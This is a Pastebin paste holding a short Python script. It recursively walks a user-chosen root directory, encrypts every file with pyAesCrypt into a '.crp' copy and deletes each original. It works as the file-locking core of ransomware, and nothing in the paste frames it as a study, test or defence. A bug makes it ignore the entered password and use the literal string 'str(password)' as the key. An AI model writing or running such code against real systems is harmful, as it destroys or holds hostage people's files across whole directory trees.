Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- direct = input("Write the root directory: ")
- password = input("Write the password: ")
- import os
- import sys
- import pyAesCrypt
- def crypt(file):
- password = "str(password)"
- bufferSize = 512 * 1024
- pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, bufferSize)
- print("[crypted] '" + str(file) + ".crp'")
- os.remove(file)
- def walk(dir):
- for name in os.listdir(dir):
- path = os.path.join(dir, name)
- if os.path.isfile(path):
- crypt(path)
- else:
- walk(path)
- walk(str(direct))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement